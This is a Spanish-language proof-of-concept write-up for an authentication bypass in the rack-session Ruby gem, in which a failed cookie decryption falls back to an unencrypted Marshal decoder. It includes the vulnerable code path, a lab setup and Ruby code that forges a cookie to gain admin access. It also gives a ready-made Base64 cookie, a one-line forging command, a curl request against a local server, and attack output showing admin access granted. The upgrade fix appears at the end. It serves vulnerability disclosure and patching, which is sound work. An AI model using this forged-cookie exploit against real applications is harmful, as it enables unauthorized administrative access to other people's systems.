
Prueba de concepto de explotación para la omisión de autenticación en Rack::Cookie (CVE-2026-39324), que demuestra la falsificación de sesiones mediante el codificador de respaldo para obtener acceso de administrador.
El fallo de descifrado de Rack::Session::Cookie recurre a aceptar cookies sin cifrar
| Aviso | GHSA-33qg-7wpp-89cq |
| Paquete | rack-session (RubyGems) |
| Afectado | <= 2.1.1 |
| Corregido | 2.1.2 |
Rack::Session::Cookie con secrets: solo debería aceptar cookies cifradas. Pero cuando el descifrado falla, no rechaza la cookie — recurre al codificador predeterminado Base64::Marshal.
Un atacante puede enviar una cookie Base64(Marshal.dump(...)) sin cifrar y el servidor la acepta como datos de sesión válidos, sin conocer ningún secreto.
rack-session <= 2.1.1Rack::Session::Cookie con la opción secrets:user_id, role, etc.) para la autorizaciónNo afectado:
secret: (singular) — usa firma HMAC, ruta de código diferente. Solo secrets: (plural, modo de cookie cifrada) es vulnerable.ActionDispatch::Session::CookieStore, implementación separada.# lib/rack/session/cookie.rb
# El codificador de respaldo siempre se crea, independientemente de la configuración secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# Intenta descifrar — todos fallan para una cookie sin cifrar
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# ERROR: no rechaza, recurre al codificador sin cifrar
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
El fallo de descifrado en la ruta secrets: debería ser terminal. En su lugar, pasa la cookie a coder.decode(), por lo que las cookies sin cifrar se cargan como datos de sesión.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Aplicación Rack con configuración secrets:
├── verify.rb Verificación de referencia (comportamiento normal)
└── attack.rb Falsificación de sesión (la explotación)
cd poc
bundle install
ruby server.rb & # iniciar servidor vulnerable
ruby verify.rb # confirmar comportamiento normal
ruby attack.rb # falsificar cookie → acceso de administrador
Aplicación Rack que usa secrets: para cookies cifradas. Dos usuarios: id=1 (regular), id=2 (administrador). Solo user_id se almacena en la sesión; la verificación de administrador es una búsqueda del lado del servidor.
Confirma que el servidor funciona correctamente:
| Solicitud | Esperado |
|---|---|
GET /admin (sin cookie) | 403 |
POST /login?id=1 | 200, cookie cifrada |
GET /admin (cookie de usuario id=1) | 403 |
Falsifica una cookie de sesión sin ningún secreto.
1) Falsificar cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Flujo del lado del servidor cuando recibe la cookie falsificada:
encryptor #1 decrypt → HMAC inválido
encryptor #2 decrypt → HMAC inválido
respaldo → coder.decode() → Marshal.load → sesión del atacante aceptada
→ session["user_id"] = 2 → usuario administrador resuelto → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Falsificación de sesión ---
Objetivo: http://127.0.0.1:9416
Carga útil: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Error del cifrador de cookie de sesión: HMAC es inválido ← encryptor #1 falló
Error del cifrador de cookie de sesión: HMAC es inválido ← encryptor #2 falló, pero la cookie no fue rechazada
Estado: 200
Cuerpo: {"status" => "ok", "message" => "panel de administración", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERABLE — user_id=2 falsificado aceptado, acceso de administrador concedido.
Ambas verificaciones HMAC fallan, pero la cookie no se rechaza — el codificador de respaldo la acepta y el atacante obtiene acceso de administrador.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session a >= 2.1.2